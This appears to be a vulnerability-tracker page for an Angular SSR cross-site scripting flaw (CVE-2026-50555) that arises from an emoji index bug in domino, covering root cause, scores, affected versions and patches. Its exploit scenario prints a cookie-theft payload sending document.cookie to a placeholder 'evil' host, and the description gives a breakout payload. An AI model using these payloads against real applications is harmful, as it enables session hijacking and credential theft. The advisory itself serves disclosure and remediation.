Skip to main content

Angular Platform-Server CVE-2026-50555

| EUVDEUVD-2026-38289 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-06-15 https://github.com/angular/angular GHSA-hqr9-c56f-3x7f
8.6
CVSS 4.0 · Vendor: https://github.com/angular/angular
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify SSR app binding user input in raw-text element
  2. Delivery
    Submit payload with astral char + closing tag + script
  3. Exploit
    Server renders via domino with misaligned escape
  4. Install
    Victim loads SSR HTML
  5. C2
    Browser exits raw-text context early
  6. Execute
    Injected script executes in app origin
  7. Impact
    Steal session / perform actions as user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires (1) the target application to use @angular/platform-server for server-side rendering on a vulnerable version line, (2) a template that binds attacker-controllable text inside a raw-text element - specifically <iframe>, <script>, <style>, or <noscript> - which is not the common Angular pattern, and (3) the attacker-controlled payload to include at least one astral (non-BMP, e.g. emoji) character before the closing tag to trigger the UTF-16 index misalignment. Per the CVSS 4.0 vector PR:N/UI:P, no authentication on the SSR application is required, but a victim must visit the SSR-rendered page for execution to occur. Exploitation does NOT work against client-side rendered Angular templates that do not pass through domino's serializer, nor against bindings in normal element bodies where Angular's standard interpolation escaping applies.

Impact

The vendor CVSS 4.0 score of 8.6 (High) reflects network attack vector, low complexity, no privileges, and passive user interaction (visiting an SSR page), with high confidentiality and integrity impact in the rendered same-origin context - consistent with a stored/reflected XSS in an SSR pipeline. There is no EPSS or KEV signal provided and no SSVC decision; exploitation status is best described as: publicly available exploit code exists in the patch's regression tests, but no in-the-wild exploitation is confirmed. Real-world risk is application-specific and depends on whether the deployed Angular SSR app actually binds attacker-controllable strings inside raw-text elements such as <iframe>, <script>, <style>, or <noscript> - a relatively unusual pattern, since Angular interpolation in normal element bodies is not affected. Where that pattern does exist, exploitation is reliable and trivial (a 4-byte emoji plus a closing tag), so affected deployments should treat this as a high-priority patch; deployments that never bind user input inside raw-text elements face essentially no exposure.

Exploit ScenarioDerived

An attacker submits a profile field, comment, or other persisted/reflected string containing an astral Unicode character followed by a raw-text closing tag and a script payload, for example 😀</iframe><script>fetch('//evil/?c='+document.cookie)</script>, into an Angular application that binds that value inside an <iframe>, <script>, <style>, or <noscript> element during SSR. When any user requests the server-rendered page, the misaligned escape leaves </iframe> literal, the browser exits the raw-text context, and the injected <script> executes in the application's origin, enabling session hijacking and credential theft. The patch's regression tests in angular/domino PR #29 already contain a working payload, so a public proof-of-concept effectively exists.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 22, 2026

Same-origin Cross-Site Scripting in @angular/platform-server (SSR) allows attackers who control bound dynamic text inside raw-text elements (script, style, iframe, noscript) to break out of the raw-text context and execute arbitrary JavaScript in the victim's browser. The root cause is a Unicode index-alignment bug in the bundled domino DOM library: astral characters (e.g. emojis) before a closing tag shift the replacement offset, leaving the closing tag unescaped. Publicly available exploit code exists in the upstream PR's regression tests, but there is no public exploit identified in the wild and the CVE is not on CISA KEV.

Earlier versions of this analysis (2)
v2 Jun 22, 2026 - 18:32 cvss changed CVSS 8.6

Cross-site scripting in @angular/platform-server's SSR DOM emulation (domino) allows attackers to break out of raw-text elements like <script>, <style>, <iframe>, and <noscript> when user-controlled text contains astral Unicode characters (e.g., emoji) before a closing tag. Affects Angular SSR applications across v19-v22 prereleases that bind untrusted input into raw-text elements; publicly available exploit code exists in the patch test suite, and successful exploitation yields same-origin script execution against every visitor of the rendered page.

v1 Jun 15, 2026 - 17:51

Cross-site scripting in @angular/platform-server's domino DOM emulation library allows attackers controlling SSR-bound dynamic text to break out of raw-text elements (<script>, <style>, <iframe>, <noscript>) and execute arbitrary JavaScript in the victim's browser. The flaw stems from a UTF-16 code-unit indexing bug in domino's closing-tag escape routine, triggered when astral Unicode characters (e.g., emojis) precede a closing tag in attacker-controlled content. No public exploit identified at time of analysis, but a detailed proof-of-concept payload is published in the GHSA advisory and patched-version unit tests.

RemediationAI

Vendor-released patch: upgrade @angular/platform-server to 22.0.0-rc.2, 21.2.16, 20.3.24, or 19.2.25 depending on the major version line in use; the fix is implemented in angular/domino PR #29 (https://github.com/angular/domino/pull/29) and shipped via the Angular GHSA at https://github.com/angular/angular/security/advisories/GHSA-hqr9-c56f-3x7f. If you cannot upgrade immediately, audit templates and stop binding user-controlled values inside raw-text elements (<iframe>, <script>, <style>, <noscript>) - these are unusual bindings to begin with; the trade-off is removing or relocating that dynamic content to a normal element body where Angular interpolation safely escapes it. As a second compensating control, pre-process any user input destined for raw-text element content to strip or escape literal closing-tag prefixes (e.g. replace </iframe, </script, </style, </noscript case-insensitively with their entity-escaped form) before passing it to the template; this is brittle and must cover every raw-text tag, so it should only be a stopgap until packages are updated.

Affected VersionsENISA

angular 22.0.0-next.0, < 22.0.0-rc.2
angular 19.0.0-next.0, < 19.2.25
angular 21.0.0-next.0, < 21.2.16
angular 20.0.0-next.0, < 20.3.24
angular ≤ 18.2.14

Affected Packages

npm @angular/platform-server fix: 19.2.25, 20.3.24, 21.2.16, 22.0.0-rc.2
euvd angular no fix
euvd angular_19_0_0_next_0 fix: 19.2.25
euvd angular_20_0_0_next_0 fix: 20.3.24
euvd angular_21_0_0_next_0 fix: 21.2.16
euvd angular_22_0_0_next_0 fix: 22.0.0-rc.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

@angular/platform-server is Angular's server-side rendering (SSR) engine; it uses the domino library to provide a server-side DOM. Per HTML serialization rules, raw-text elements (script, style, iframe, noscript) cannot contain entity references, so domino instead defensively escapes any literal closing tag (e.g. </iframe>) appearing inside the text node. The buggy implementation in lib/NodeUtils.js spread the text into an array of code points ([...rawText]) and then indexed it using RegExp.matchAll(...).index, which returns UTF-16 code-unit offsets. Astral characters (U+10000 and above) occupy two UTF-16 code units but only one code-point slot, so each one before the match shifted the replacement target by one position, causing the wrong character to be replaced and the real </tag> to survive. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) caused by an encoding/indexing mismatch rather than missing sanitization. The fix replaces the array-and-index approach with String.prototype.replace, which is encoding-agnostic, and additionally treats <noscript> as a raw-content element on serialization.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/angular/angular) PRIMARY 8.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 6.1 CRITICAL

Network-reachable SSR endpoint, no auth, low complexity; victim must load the rendered page (UI:R); script executes in a different security context than the vulnerable server (S:C) with limited XSS-typical C/I impact and no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (https://github.com/angular/angular).

CVSS VectorVendor: https://github.com/angular/angular

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 22, 2026 - 18:33 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 22, 2026 - 18:32 vuln.today
v2 - CVSS changed
CVSS changed
Jun 22, 2026 - 18:23 NVD
8.6 (HIGH)

DescriptionCVE.org

A Cross-Site Scripting (XSS) vulnerability exists in @angular/platform-server's DOM emulation dependency (domino) when serializing the content of raw-text elements (such as <script>, <style>, and <iframe>).

domino supports escaping raw-text elements during serialization to prevent closing-tag breakout. However, a Unicode index alignment bug existed in this escaping logic.

In JavaScript, string lengths and character indices are calculated based on UTF-16 code units (where astral characters-such as emojis-occupy 2 code units / 4 bytes). If the bound dynamic text contained astral Unicode characters _before_ the closing tag (e.g. </script>, </style>, or </iframe>), the index offset calculation in domino's replacement logic shifted.

This misalignment caused domino to fail to replace or escape the closing tag, leaving it raw and unescaped in the output HTML.

An attacker who controls the dynamic text can supply a payload containing both an astral Unicode character and a closing tag (e.g., 😀</iframe><script>alert(1)</script>). When serialized on the server during SSR, the browser parses the unescaped closing tag, exits the raw-text context early, and executes the subsequent <script> block, leading to same-origin Cross-Site Scripting (XSS).

Impact

This vulnerability allows an attacker to perform same-origin Cross-Site Scripting (XSS) attacks against any user visiting an SSR-rendered page that binds user-controlled data inside raw-text elements. This can lead to session hijacking, credentials theft, unauthorized actions on behalf of users, and defacement.

Patched Versions

  • 22.0.0-rc.2
  • 21.2.16
  • 20.3.24
  • 19.2.25

Workarounds

If you cannot immediately update your dependencies, you can:

  • Avoid binding user-controlled values inside <iframe> or other raw-text elements.
  • Sanitize any user input placed inside raw-text elements to explicitly strip closing tags before passing it to the template.

Executive ViewAI

Why It Matters

A vulnerability in Angular's server-side rendering library (@angular/platform-server) could allow attackers to inject and execute arbitrary code in user browsers when applications process dynamic content. Organizations using @angular/platform-server face risk of credential theft, session hijacking, and data compromise affecting customers and employees who interact with vulnerable applications. Publicly available exploit code exists.

Business Impact: High
Compensating Controls

Apply vendor patch. Interim mitigations if patch deployment is delayed: sanitize and validate all user inputs; prohibit binding of untrusted data to raw-text elements; implement strict Content Security Policy headers to limit malicious script execution.

Threat Intelligence Overview

EPSS Score
0.3%
Top 74% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

43
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy